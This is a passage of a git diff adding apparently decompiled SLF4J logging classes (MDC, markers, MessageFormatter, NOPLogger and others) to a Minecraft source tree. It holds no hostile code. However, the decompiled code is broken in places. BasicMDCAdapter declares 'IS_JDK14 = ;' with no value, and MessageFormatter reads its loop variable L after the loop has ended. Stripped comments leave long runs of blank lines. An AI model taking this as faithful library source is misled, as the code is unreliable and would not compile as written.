+        Util.report("Found binding in [" + path + "]");
+      }
+      Util.report("See http://www.slf4j.org/codes.html#multiple_bindings for an explanation.");
+    }
+  }
+  
+  private static void reportActualBinding(Set<URL> staticLoggerBinderPathSet) {
+    if (isAmbiguousStaticLoggerBinderPathSet(staticLoggerBinderPathSet)) {
+      Util.report("Actual binding is of type [" + StaticLoggerBinder.getSingleton().getLoggerFactoryClassStr() + "]");
+    }
+  }
+  
+
+
+
+
+
+
+
+  public static Logger getLogger(String name)
+  {
+    ILoggerFactory iLoggerFactory = getILoggerFactory();
+    return iLoggerFactory.getLogger(name);
+  }
+  
+
+
+
+
+
+
+  public static Logger getLogger(Class clazz)
+  {
+    return getLogger(clazz.getName());
+  }
+  
+
+
+
+
+
+
+
+  public static ILoggerFactory getILoggerFactory()
+  {
+    if (INITIALIZATION_STATE == 0) {
+      INITIALIZATION_STATE = 1;
+      performInitialization();
+    }
+    switch (INITIALIZATION_STATE) {
+    case 3: 
+      return StaticLoggerBinder.getSingleton().getLoggerFactory();
+    case 4: 
+      return NOP_FALLBACK_FACTORY;
+    case 2: 
+      throw new IllegalStateException("org.slf4j.LoggerFactory could not be successfully initialized. See also http://www.slf4j.org/codes.html#unsuccessfulInit");
+    
+
+    case 1: 
+      return TEMP_FACTORY;
+    }
+    throw new IllegalStateException("Unreachable code");
+  }
+}
diff --git a/src/minecraft/org/slf4j/MDC.java b/src/minecraft/org/slf4j/MDC.java
new file mode 100644
index 0000000..a358614
--- /dev/null
+++ b/src/minecraft/org/slf4j/MDC.java
@@ -0,0 +1,219 @@
+package org.slf4j;
+
+import java.util.Map;
+import org.slf4j.helpers.NOPMDCAdapter;
+import org.slf4j.helpers.Util;
+import org.slf4j.impl.StaticMDCBinder;
+import org.slf4j.spi.MDCAdapter;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class MDC
+{
+  static final String NULL_MDCA_URL = "http://www.slf4j.org/codes.html#null_MDCA";
+  static final String NO_STATIC_MDC_BINDER_URL = "http://www.slf4j.org/codes.html#no_static_mdc_binder";
+  static MDCAdapter mdcAdapter;
+  
+  static
+  {
+    try
+    {
+      mdcAdapter = StaticMDCBinder.SINGLETON.getMDCA();
+    } catch (NoClassDefFoundError ncde) {
+      mdcAdapter = new NOPMDCAdapter();
+      String msg = ncde.getMessage();
+      if ((msg != null) && (msg.indexOf("StaticMDCBinder") != -1)) {
+        Util.report("Failed to load class \"org.slf4j.impl.StaticMDCBinder\".");
+        Util.report("Defaulting to no-operation MDCAdapter implementation.");
+        Util.report("See http://www.slf4j.org/codes.html#no_static_mdc_binder for further details.");
+      }
+      else {
+        throw ncde;
+      }
+    }
+    catch (Exception e) {
+      Util.report("MDC binding unsuccessful.", e);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static void put(String key, String val)
+    throws IllegalArgumentException
+  {
+    if (key == null) {
+      throw new IllegalArgumentException("key parameter cannot be null");
+    }
+    if (mdcAdapter == null) {
+      throw new IllegalStateException("MDCAdapter cannot be null. See also http://www.slf4j.org/codes.html#null_MDCA");
+    }
+    
+    mdcAdapter.put(key, val);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static String get(String key)
+    throws IllegalArgumentException
+  {
+    if (key == null) {
+      throw new IllegalArgumentException("key parameter cannot be null");
+    }
+    
+    if (mdcAdapter == null) {
+      throw new IllegalStateException("MDCAdapter cannot be null. See also http://www.slf4j.org/codes.html#null_MDCA");
+    }
+    
+    return mdcAdapter.get(key);
+  }
+  
+
+
+
+
+
+
+
+
+  public static void remove(String key)
+    throws IllegalArgumentException
+  {
+    if (key == null) {
+      throw new IllegalArgumentException("key parameter cannot be null");
+    }
+    
+    if (mdcAdapter == null) {
+      throw new IllegalStateException("MDCAdapter cannot be null. See also http://www.slf4j.org/codes.html#null_MDCA");
+    }
+    
+    mdcAdapter.remove(key);
+  }
+  
+
+
+  public static void clear()
+  {
+    if (mdcAdapter == null) {
+      throw new IllegalStateException("MDCAdapter cannot be null. See also http://www.slf4j.org/codes.html#null_MDCA");
+    }
+    
+    mdcAdapter.clear();
+  }
+  
+
+
+
+
+
+
+  public static Map<String, String> getCopyOfContextMap()
+  {
+    if (mdcAdapter == null) {
+      throw new IllegalStateException("MDCAdapter cannot be null. See also http://www.slf4j.org/codes.html#null_MDCA");
+    }
+    
+    return mdcAdapter.getCopyOfContextMap();
+  }
+  
+
+
+
+
+
+
+
+
+  public static void setContextMap(Map<String, String> contextMap)
+  {
+    if (mdcAdapter == null) {
+      throw new IllegalStateException("MDCAdapter cannot be null. See also http://www.slf4j.org/codes.html#null_MDCA");
+    }
+    
+    mdcAdapter.setContextMap(contextMap);
+  }
+  
+
+
+
+
+
+  public static MDCAdapter getMDCAdapter()
+  {
+    return mdcAdapter;
+  }
+  
+  private MDC() {}
+}
diff --git a/src/minecraft/org/slf4j/Marker.java b/src/minecraft/org/slf4j/Marker.java
new file mode 100644
index 0000000..c726e72
--- /dev/null
+++ b/src/minecraft/org/slf4j/Marker.java
@@ -0,0 +1,34 @@
+package org.slf4j;
+
+import java.io.Serializable;
+import java.util.Iterator;
+
+public abstract interface Marker
+  extends Serializable
+{
+  public static final String ANY_MARKER = "*";
+  public static final String ANY_NON_NULL_MARKER = "+";
+  
+  public abstract String getName();
+  
+  public abstract void add(Marker paramMarker);
+  
+  public abstract boolean remove(Marker paramMarker);
+  
+  /**
+   * @deprecated
+   */
+  public abstract boolean hasChildren();
+  
+  public abstract boolean hasReferences();
+  
+  public abstract Iterator<Marker> iterator();
+  
+  public abstract boolean contains(Marker paramMarker);
+  
+  public abstract boolean contains(String paramString);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/org/slf4j/MarkerFactory.java b/src/minecraft/org/slf4j/MarkerFactory.java
new file mode 100644
index 0000000..407ef02
--- /dev/null
+++ b/src/minecraft/org/slf4j/MarkerFactory.java
@@ -0,0 +1,98 @@
+package org.slf4j;
+
+import org.slf4j.helpers.BasicMarkerFactory;
+import org.slf4j.helpers.Util;
+import org.slf4j.impl.StaticMarkerBinder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class MarkerFactory
+{
+  static IMarkerFactory markerFactory;
+  
+  static
+  {
+    try
+    {
+      markerFactory = StaticMarkerBinder.SINGLETON.getMarkerFactory();
+    } catch (NoClassDefFoundError e) {
+      markerFactory = new BasicMarkerFactory();
+    }
+    catch (Exception e)
+    {
+      Util.report("Unexpected failure while binding MarkerFactory", e);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public static Marker getMarker(String name)
+  {
+    return markerFactory.getMarker(name);
+  }
+  
+
+
+
+
+
+
+  public static Marker getDetachedMarker(String name)
+  {
+    return markerFactory.getDetachedMarker(name);
+  }
+  
+
+
+
+
+
+
+
+  public static IMarkerFactory getIMarkerFactory()
+  {
+    return markerFactory;
+  }
+  
+  private MarkerFactory() {}
+}
diff --git a/src/minecraft/org/slf4j/helpers/BasicMDCAdapter.java b/src/minecraft/org/slf4j/helpers/BasicMDCAdapter.java
new file mode 100644
index 0000000..546b254
--- /dev/null
+++ b/src/minecraft/org/slf4j/helpers/BasicMDCAdapter.java
@@ -0,0 +1,161 @@
+package org.slf4j.helpers;
+
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Set;
+import org.slf4j.spi.MDCAdapter;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class BasicMDCAdapter
+  implements MDCAdapter
+{
+  private InheritableThreadLocal<Map<String, String>> inheritableThreadLocal = new InheritableThreadLocal();
+  
+  public BasicMDCAdapter() {}
+  
+  static boolean isJDK14() {
+    try { String javaVersion = System.getProperty("java.version");
+      return javaVersion.startsWith("1.4");
+    }
+    catch (SecurityException se) {}
+    return false;
+  }
+  
+
+  static boolean IS_JDK14 = ;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public void put(String key, String val)
+  {
+    if (key == null) {
+      throw new IllegalArgumentException("key cannot be null");
+    }
+    Map<String, String> map = (Map)inheritableThreadLocal.get();
+    if (map == null) {
+      map = Collections.synchronizedMap(new HashMap());
+      inheritableThreadLocal.set(map);
+    }
+    map.put(key, val);
+  }
+  
+
+
+  public String get(String key)
+  {
+    Map<String, String> Map = (Map)inheritableThreadLocal.get();
+    if ((Map != null) && (key != null)) {
+      return (String)Map.get(key);
+    }
+    return null;
+  }
+  
+
+
+
+  public void remove(String key)
+  {
+    Map<String, String> map = (Map)inheritableThreadLocal.get();
+    if (map != null) {
+      map.remove(key);
+    }
+  }
+  
+
+
+  public void clear()
+  {
+    Map<String, String> map = (Map)inheritableThreadLocal.get();
+    if (map != null) {
+      map.clear();
+      
+
+      if (isJDK14()) {
+        inheritableThreadLocal.set(null);
+      } else {
+        inheritableThreadLocal.remove();
+      }
+    }
+  }
+  
+
+
+
+
+
+  public Set<String> getKeys()
+  {
+    Map<String, String> map = (Map)inheritableThreadLocal.get();
+    if (map != null) {
+      return map.keySet();
+    }
+    return null;
+  }
+  
+
+
+
+
+  public Map<String, String> getCopyOfContextMap()
+  {
+    Map<String, String> oldMap = (Map)inheritableThreadLocal.get();
+    if (oldMap != null) {
+      Map<String, String> newMap = Collections.synchronizedMap(new HashMap());
+      synchronized (oldMap) {
+        newMap.putAll(oldMap);
+      }
+      return newMap;
+    }
+    return null;
+  }
+  
+  public void setContextMap(Map<String, String> contextMap)
+  {
+    Map<String, String> map = Collections.synchronizedMap(new HashMap(contextMap));
+    inheritableThreadLocal.set(map);
+  }
+}
diff --git a/src/minecraft/org/slf4j/helpers/BasicMarker.java b/src/minecraft/org/slf4j/helpers/BasicMarker.java
new file mode 100644
index 0000000..3a6d459
--- /dev/null
+++ b/src/minecraft/org/slf4j/helpers/BasicMarker.java
@@ -0,0 +1,196 @@
+package org.slf4j.helpers;
+
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Vector;
+import org.slf4j.Marker;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class BasicMarker
+  implements Marker
+{
+  private static final long serialVersionUID = 1803952589649545191L;
+  private final String name;
+  private List<Marker> refereceList;
+  
+  BasicMarker(String name)
+  {
+    if (name == null) {
+      throw new IllegalArgumentException("A marker name cannot be null");
+    }
+    this.name = name;
+  }
+  
+  public String getName() {
+    return name;
+  }
+  
+  public synchronized void add(Marker reference) {
+    if (reference == null) {
+      throw new IllegalArgumentException("A null value cannot be added to a Marker as reference.");
+    }
+    
+
+
+    if (contains(reference)) {
+      return;
+    }
+    if (reference.contains(this))
+    {
+      return;
+    }
+    
+    if (refereceList == null) {
+      refereceList = new Vector();
+    }
+    refereceList.add(reference);
+  }
+  
+
+  public synchronized boolean hasReferences()
+  {
+    return (refereceList != null) && (refereceList.size() > 0);
+  }
+  
+  public boolean hasChildren() {
+    return hasReferences();
+  }
+  
+  public synchronized Iterator<Marker> iterator() {
+    if (refereceList != null) {
+      return refereceList.iterator();
+    }
+    return Collections.EMPTY_LIST.iterator();
+  }
+  
+  public synchronized boolean remove(Marker referenceToRemove)
+  {
+    if (refereceList == null) {
+      return false;
+    }
+    
+    int size = refereceList.size();
+    for (int i = 0; i < size; i++) {
+      Marker m = (Marker)refereceList.get(i);
+      if (referenceToRemove.equals(m)) {
+        refereceList.remove(i);
+        return true;
+      }
+    }
+    return false;
+  }
+  
+  public boolean contains(Marker other) {
+    if (other == null) {
+      throw new IllegalArgumentException("Other cannot be null");
+    }
+    
+    if (equals(other)) {
+      return true;
+    }
+    
+    if (hasReferences()) {
+      for (int i = 0; i < refereceList.size(); i++) {
+        Marker ref = (Marker)refereceList.get(i);
+        if (ref.contains(other)) {
+          return true;
+        }
+      }
+    }
+    return false;
+  }
+  
+
+
+  public boolean contains(String name)
+  {
+    if (name == null) {
+      throw new IllegalArgumentException("Other cannot be null");
+    }
+    
+    if (this.name.equals(name)) {
+      return true;
+    }
+    
+    if (hasReferences()) {
+      for (int i = 0; i < refereceList.size(); i++) {
+        Marker ref = (Marker)refereceList.get(i);
+        if (ref.contains(name)) {
+          return true;
+        }
+      }
+    }
+    return false;
+  }
+  
+  private static String OPEN = "[ ";
+  private static String CLOSE = " ]";
+  private static String SEP = ", ";
+  
+  public boolean equals(Object obj)
+  {
+    if (this == obj)
+      return true;
+    if (obj == null)
+      return false;
+    if (!(obj instanceof Marker)) {
+      return false;
+    }
+    Marker other = (Marker)obj;
+    return name.equals(other.getName());
+  }
+  
+  public int hashCode() {
+    return name.hashCode();
+  }
+  
+  public String toString() {
+    if (!hasReferences()) {
+      return getName();
+    }
+    Iterator<Marker> it = iterator();
+    
+    StringBuffer sb = new StringBuffer(getName());
+    sb.append(' ').append(OPEN);
+    while (it.hasNext()) {
+      Marker reference = (Marker)it.next();
+      sb.append(reference.getName());
+      if (it.hasNext()) {
+        sb.append(SEP);
+      }
+    }
+    sb.append(CLOSE);
+    
+    return sb.toString();
+  }
+}
diff --git a/src/minecraft/org/slf4j/helpers/BasicMarkerFactory.java b/src/minecraft/org/slf4j/helpers/BasicMarkerFactory.java
new file mode 100644
index 0000000..df7acd6
--- /dev/null
+++ b/src/minecraft/org/slf4j/helpers/BasicMarkerFactory.java
@@ -0,0 +1,99 @@
+package org.slf4j.helpers;
+
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.ConcurrentMap;
+import org.slf4j.IMarkerFactory;
+import org.slf4j.Marker;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class BasicMarkerFactory
+  implements IMarkerFactory
+{
+  private final ConcurrentMap<String, Marker> markerMap = new ConcurrentHashMap();
+  
+
+
+
+
+
+
+
+  public BasicMarkerFactory() {}
+  
+
+
+
+
+
+
+  public Marker getMarker(String name)
+  {
+    if (name == null) {
+      throw new IllegalArgumentException("Marker name cannot be null");
+    }
+    
+    Marker marker = (Marker)markerMap.get(name);
+    if (marker == null) {
+      marker = new BasicMarker(name);
+      Marker oldMarker = (Marker)markerMap.putIfAbsent(name, marker);
+      if (oldMarker != null) {
+        marker = oldMarker;
+      }
+    }
+    return marker;
+  }
+  
+
+
+  public boolean exists(String name)
+  {
+    if (name == null) {
+      return false;
+    }
+    return markerMap.containsKey(name);
+  }
+  
+  public boolean detachMarker(String name) {
+    if (name == null) {
+      return false;
+    }
+    return markerMap.remove(name) != null;
+  }
+  
+  public Marker getDetachedMarker(String name)
+  {
+    return new BasicMarker(name);
+  }
+}
diff --git a/src/minecraft/org/slf4j/helpers/FormattingTuple.java b/src/minecraft/org/slf4j/helpers/FormattingTuple.java
new file mode 100644
index 0000000..82548f8
--- /dev/null
+++ b/src/minecraft/org/slf4j/helpers/FormattingTuple.java
@@ -0,0 +1,76 @@
+package org.slf4j.helpers;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class FormattingTuple
+{
+  public static FormattingTuple NULL = new FormattingTuple(null);
+  private String message;
+  private Throwable throwable;
+  private Object[] argArray;
+  
+  public FormattingTuple(String message)
+  {
+    this(message, null, null);
+  }
+  
+  public FormattingTuple(String message, Object[] argArray, Throwable throwable) {
+    this.message = message;
+    this.throwable = throwable;
+    if (throwable == null) {
+      this.argArray = argArray;
+    } else {
+      this.argArray = trimmedCopy(argArray);
+    }
+  }
+  
+  static Object[] trimmedCopy(Object[] argArray) {
+    if ((argArray == null) || (argArray.length == 0)) {
+      throw new IllegalStateException("non-sensical empty or null argument array");
+    }
+    int trimemdLen = argArray.length - 1;
+    Object[] trimmed = new Object[trimemdLen];
+    System.arraycopy(argArray, 0, trimmed, 0, trimemdLen);
+    return trimmed;
+  }
+  
+  public String getMessage() {
+    return message;
+  }
+  
+  public Object[] getArgArray() {
+    return argArray;
+  }
+  
+  public Throwable getThrowable() {
+    return throwable;
+  }
+}
diff --git a/src/minecraft/org/slf4j/helpers/MarkerIgnoringBase.java b/src/minecraft/org/slf4j/helpers/MarkerIgnoringBase.java
new file mode 100644
index 0000000..c8e1075
--- /dev/null
+++ b/src/minecraft/org/slf4j/helpers/MarkerIgnoringBase.java
@@ -0,0 +1,167 @@
+package org.slf4j.helpers;
+
+import org.slf4j.Logger;
+import org.slf4j.Marker;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class MarkerIgnoringBase
+  extends NamedLoggerBase
+  implements Logger
+{
+  private static final long serialVersionUID = 9044267456635152283L;
+  
+  public MarkerIgnoringBase() {}
+  
+  public boolean isTraceEnabled(Marker marker)
+  {
+    return isTraceEnabled();
+  }
+  
+  public void trace(Marker marker, String msg) {
+    trace(msg);
+  }
+  
+  public void trace(Marker marker, String format, Object arg) {
+    trace(format, arg);
+  }
+  
+  public void trace(Marker marker, String format, Object arg1, Object arg2) {
+    trace(format, arg1, arg2);
+  }
+  
+  public void trace(Marker marker, String format, Object... arguments) {
+    trace(format, arguments);
+  }
+  
+  public void trace(Marker marker, String msg, Throwable t) {
+    trace(msg, t);
+  }
+  
+  public boolean isDebugEnabled(Marker marker) {
+    return isDebugEnabled();
+  }
+  
+  public void debug(Marker marker, String msg) {
+    debug(msg);
+  }
+  
+  public void debug(Marker marker, String format, Object arg) {
+    debug(format, arg);
+  }
+  
+  public void debug(Marker marker, String format, Object arg1, Object arg2) {
+    debug(format, arg1, arg2);
+  }
+  
+  public void debug(Marker marker, String format, Object... arguments) {
+    debug(format, arguments);
+  }
+  
+  public void debug(Marker marker, String msg, Throwable t) {
+    debug(msg, t);
+  }
+  
+  public boolean isInfoEnabled(Marker marker) {
+    return isInfoEnabled();
+  }
+  
+  public void info(Marker marker, String msg) {
+    info(msg);
+  }
+  
+  public void info(Marker marker, String format, Object arg) {
+    info(format, arg);
+  }
+  
+  public void info(Marker marker, String format, Object arg1, Object arg2) {
+    info(format, arg1, arg2);
+  }
+  
+  public void info(Marker marker, String format, Object... arguments) {
+    info(format, arguments);
+  }
+  
+  public void info(Marker marker, String msg, Throwable t) {
+    info(msg, t);
+  }
+  
+  public boolean isWarnEnabled(Marker marker) {
+    return isWarnEnabled();
+  }
+  
+  public void warn(Marker marker, String msg) {
+    warn(msg);
+  }
+  
+  public void warn(Marker marker, String format, Object arg) {
+    warn(format, arg);
+  }
+  
+  public void warn(Marker marker, String format, Object arg1, Object arg2) {
+    warn(format, arg1, arg2);
+  }
+  
+  public void warn(Marker marker, String format, Object... arguments) {
+    warn(format, arguments);
+  }
+  
+  public void warn(Marker marker, String msg, Throwable t) {
+    warn(msg, t);
+  }
+  
+  public boolean isErrorEnabled(Marker marker)
+  {
+    return isErrorEnabled();
+  }
+  
+  public void error(Marker marker, String msg) {
+    error(msg);
+  }
+  
+  public void error(Marker marker, String format, Object arg) {
+    error(format, arg);
+  }
+  
+  public void error(Marker marker, String format, Object arg1, Object arg2) {
+    error(format, arg1, arg2);
+  }
+  
+  public void error(Marker marker, String format, Object... arguments) {
+    error(format, arguments);
+  }
+  
+  public void error(Marker marker, String msg, Throwable t) {
+    error(msg, t);
+  }
+  
+  public String toString() {
+    return getClass().getName() + "(" + getName() + ")";
+  }
+}
diff --git a/src/minecraft/org/slf4j/helpers/MessageFormatter.java b/src/minecraft/org/slf4j/helpers/MessageFormatter.java
new file mode 100644
index 0000000..b910e4e
--- /dev/null
+++ b/src/minecraft/org/slf4j/helpers/MessageFormatter.java
@@ -0,0 +1,423 @@
+package org.slf4j.helpers;
+
+import java.io.PrintStream;
+import java.util.HashMap;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MessageFormatter
+{
+  static final char DELIM_START = '{';
+  static final char DELIM_STOP = '}';
+  static final String DELIM_STR = "{}";
+  private static final char ESCAPE_CHAR = '\\';
+  
+  public MessageFormatter() {}
+  
+  public static final FormattingTuple format(String messagePattern, Object arg)
+  {
+    return arrayFormat(messagePattern, new Object[] { arg });
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final FormattingTuple format(String messagePattern, Object arg1, Object arg2)
+  {
+    return arrayFormat(messagePattern, new Object[] { arg1, arg2 });
+  }
+  
+  static final Throwable getThrowableCandidate(Object[] argArray) {
+    if ((argArray == null) || (argArray.length == 0)) {
+      return null;
+    }
+    
+    Object lastEntry = argArray[(argArray.length - 1)];
+    if ((lastEntry instanceof Throwable)) {
+      return (Throwable)lastEntry;
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final FormattingTuple arrayFormat(String messagePattern, Object[] argArray)
+  {
+    Throwable throwableCandidate = getThrowableCandidate(argArray);
+    
+    if (messagePattern == null) {
+      return new FormattingTuple(null, argArray, throwableCandidate);
+    }
+    
+    if (argArray == null) {
+      return new FormattingTuple(messagePattern);
+    }
+    
+    int i = 0;
+    
+
+    StringBuilder sbuf = new StringBuilder(messagePattern.length() + 50);
+    
+
+    for (int L = 0; L < argArray.length; L++)
+    {
+      int j = messagePattern.indexOf("{}", i);
+      
+      if (j == -1)
+      {
+        if (i == 0) {
+          return new FormattingTuple(messagePattern, argArray, throwableCandidate);
+        }
+        
+
+        sbuf.append(messagePattern.substring(i, messagePattern.length()));
+        return new FormattingTuple(sbuf.toString(), argArray, throwableCandidate);
+      }
+      
+
+      if (isEscapedDelimeter(messagePattern, j)) {
+        if (!isDoubleEscaped(messagePattern, j)) {
+          L--;
+          sbuf.append(messagePattern.substring(i, j - 1));
+          sbuf.append('{');
+          i = j + 1;
+
+        }
+        else
+        {
+          sbuf.append(messagePattern.substring(i, j - 1));
+          deeplyAppendParameter(sbuf, argArray[L], new HashMap());
+          i = j + 2;
+        }
+      }
+      else {
+        sbuf.append(messagePattern.substring(i, j));
+        deeplyAppendParameter(sbuf, argArray[L], new HashMap());
+        i = j + 2;
+      }
+    }
+    
+
+    sbuf.append(messagePattern.substring(i, messagePattern.length()));
+    if (L < argArray.length - 1) {
+      return new FormattingTuple(sbuf.toString(), argArray, throwableCandidate);
+    }
+    return new FormattingTuple(sbuf.toString(), argArray, null);
+  }
+  
+
+
+  static final boolean isEscapedDelimeter(String messagePattern, int delimeterStartIndex)
+  {
+    if (delimeterStartIndex == 0) {
+      return false;
+    }
+    char potentialEscape = messagePattern.charAt(delimeterStartIndex - 1);
+    if (potentialEscape == '\\') {
+      return true;
+    }
+    return false;
+  }
+  
+
+  static final boolean isDoubleEscaped(String messagePattern, int delimeterStartIndex)
+  {
+    if ((delimeterStartIndex >= 2) && (messagePattern.charAt(delimeterStartIndex - 2) == '\\'))
+    {
+      return true;
+    }
+    return false;
+  }
+  
+
+
+  private static void deeplyAppendParameter(StringBuilder sbuf, Object o, Map<Object[], Object> seenMap)
+  {
+    if (o == null) {
+      sbuf.append("null");
+      return;
+    }
+    if (!o.getClass().isArray()) {
+      safeObjectAppend(sbuf, o);
+
+
+    }
+    else if ((o instanceof boolean[])) {
+      booleanArrayAppend(sbuf, (boolean[])o);
+    } else if ((o instanceof byte[])) {
+      byteArrayAppend(sbuf, (byte[])o);
+    } else if ((o instanceof char[])) {
+      charArrayAppend(sbuf, (char[])o);
+    } else if ((o instanceof short[])) {
+      shortArrayAppend(sbuf, (short[])o);
+    } else if ((o instanceof int[])) {
+      intArrayAppend(sbuf, (int[])o);
+    } else if ((o instanceof long[])) {
+      longArrayAppend(sbuf, (long[])o);
+    } else if ((o instanceof float[])) {
+      floatArrayAppend(sbuf, (float[])o);
+    } else if ((o instanceof double[])) {
+      doubleArrayAppend(sbuf, (double[])o);
+    } else {
+      objectArrayAppend(sbuf, (Object[])o, seenMap);
+    }
+  }
+  
+  private static void safeObjectAppend(StringBuilder sbuf, Object o)
+  {
+    try {
+      String oAsString = o.toString();
+      sbuf.append(oAsString);
+    } catch (Throwable t) {
+      System.err.println("SLF4J: Failed toString() invocation on an object of type [" + o.getClass().getName() + "]");
+      
+
+      t.printStackTrace();
+      sbuf.append("[FAILED toString()]");
+    }
+  }
+  
+
+  private static void objectArrayAppend(StringBuilder sbuf, Object[] a, Map<Object[], Object> seenMap)
+  {
+    sbuf.append('[');
+    if (!seenMap.containsKey(a)) {
+      seenMap.put(a, null);
+      int len = a.length;
+      for (int i = 0; i < len; i++) {
+        deeplyAppendParameter(sbuf, a[i], seenMap);
+        if (i != len - 1) {
+          sbuf.append(", ");
+        }
+      }
+      seenMap.remove(a);
+    } else {
+      sbuf.append("...");
+    }
+    sbuf.append(']');
+  }
+  
+  private static void booleanArrayAppend(StringBuilder sbuf, boolean[] a) {
+    sbuf.append('[');
+    int len = a.length;
+    for (int i = 0; i < len; i++) {
+      sbuf.append(a[i]);
+      if (i != len - 1)
+        sbuf.append(", ");
+    }
+    sbuf.append(']');
+  }
+  
+  private static void byteArrayAppend(StringBuilder sbuf, byte[] a) {
+    sbuf.append('[');
+    int len = a.length;
+    for (int i = 0; i < len; i++) {
+      sbuf.append(a[i]);
+      if (i != len - 1)
+        sbuf.append(", ");
+    }
+    sbuf.append(']');
+  }
+  
+  private static void charArrayAppend(StringBuilder sbuf, char[] a) {
+    sbuf.append('[');
+    int len = a.length;
+    for (int i = 0; i < len; i++) {
+      sbuf.append(a[i]);
+      if (i != len - 1)
+        sbuf.append(", ");
+    }
+    sbuf.append(']');
+  }
+  
+  private static void shortArrayAppend(StringBuilder sbuf, short[] a) {
+    sbuf.append('[');
+    int len = a.length;
+    for (int i = 0; i < len; i++) {
+      sbuf.append(a[i]);
+      if (i != len - 1)
+        sbuf.append(", ");
+    }
+    sbuf.append(']');
+  }
+  
+  private static void intArrayAppend(StringBuilder sbuf, int[] a) {
+    sbuf.append('[');
+    int len = a.length;
+    for (int i = 0; i < len; i++) {
+      sbuf.append(a[i]);
+      if (i != len - 1)
+        sbuf.append(", ");
+    }
+    sbuf.append(']');
+  }
+  
+  private static void longArrayAppend(StringBuilder sbuf, long[] a) {
+    sbuf.append('[');
+    int len = a.length;
+    for (int i = 0; i < len; i++) {
+      sbuf.append(a[i]);
+      if (i != len - 1)
+        sbuf.append(", ");
+    }
+    sbuf.append(']');
+  }
+  
+  private static void floatArrayAppend(StringBuilder sbuf, float[] a) {
+    sbuf.append('[');
+    int len = a.length;
+    for (int i = 0; i < len; i++) {
+      sbuf.append(a[i]);
+      if (i != len - 1)
+        sbuf.append(", ");
+    }
+    sbuf.append(']');
+  }
+  
+  private static void doubleArrayAppend(StringBuilder sbuf, double[] a) {
+    sbuf.append('[');
+    int len = a.length;
+    for (int i = 0; i < len; i++) {
+      sbuf.append(a[i]);
+      if (i != len - 1)
+        sbuf.append(", ");
+    }
+    sbuf.append(']');
+  }
+}
diff --git a/src/minecraft/org/slf4j/helpers/NOPLogger.java b/src/minecraft/org/slf4j/helpers/NOPLogger.java
new file mode 100644
index 0000000..01e8245
--- /dev/null
+++ b/src/minecraft/org/slf4j/helpers/NOPLogger.java
@@ -0,0 +1,213 @@
+package org.slf4j.helpers;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class NOPLogger
+  extends MarkerIgnoringBase
+{
+  private static final long serialVersionUID = -517220405410904473L;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final NOPLogger NOP_LOGGER = new NOPLogger();
+  
+
+
+
+
+  protected NOPLogger() {}
+  
+
+
+
+  public String getName()
+  {
+    return "NOP";
+  }
+  
+
+
+
+  public final boolean isTraceEnabled()
+  {
+    return false;
+  }
+  
+
+
+
+  public final void trace(String msg) {}
+  
+
+
+
+  public final void trace(String format, Object arg) {}
+  
+
+
+
+  public final void trace(String format, Object arg1, Object arg2) {}
+  
+
+
+
+  public final void trace(String format, Object... argArray) {}
+  
+
+
+
+  public final void trace(String msg, Throwable t) {}
+  
+
+
+
+  public final boolean isDebugEnabled()
+  {
+    return false;
+  }
+  
+
+
+
+
+  public final void debug(String msg) {}
+  
+
+
+
+
+  public final void debug(String format, Object arg) {}
+  
+
+
+
+
+  public final void debug(String format, Object arg1, Object arg2) {}
+  
+
+
+
+  public final void debug(String format, Object... argArray) {}
+  
+
+
+
+  public final void debug(String msg, Throwable t) {}
+  
+
+
+
+  public final boolean isInfoEnabled()
+  {
+    return false;
+  }
+  
+
+
+
+
+  public final void info(String msg) {}
+  
+
+
+
+
+  public final void info(String format, Object arg1) {}
+  
+
+
+
+
+  public final void info(String format, Object arg1, Object arg2) {}
+  
+
+
+
+  public final void info(String format, Object... argArray) {}
+  
+
+
+
+  public final void info(String msg, Throwable t) {}
+  
+
+
+
+  public final boolean isWarnEnabled()
+  {
+    return false;
+  }
+  
+
+
+
+  public final void warn(String msg) {}
+  
+
+
+
+  public final void warn(String format, Object arg1) {}
+  
+
+
+
+  public final void warn(String format, Object arg1, Object arg2) {}
+  
+
+
+
+  public final void warn(String format, Object... argArray) {}
+  
+
+
+
+  public final void warn(String msg, Throwable t) {}
+  
+
+
+  public final boolean isErrorEnabled()
+  {
+    return false;
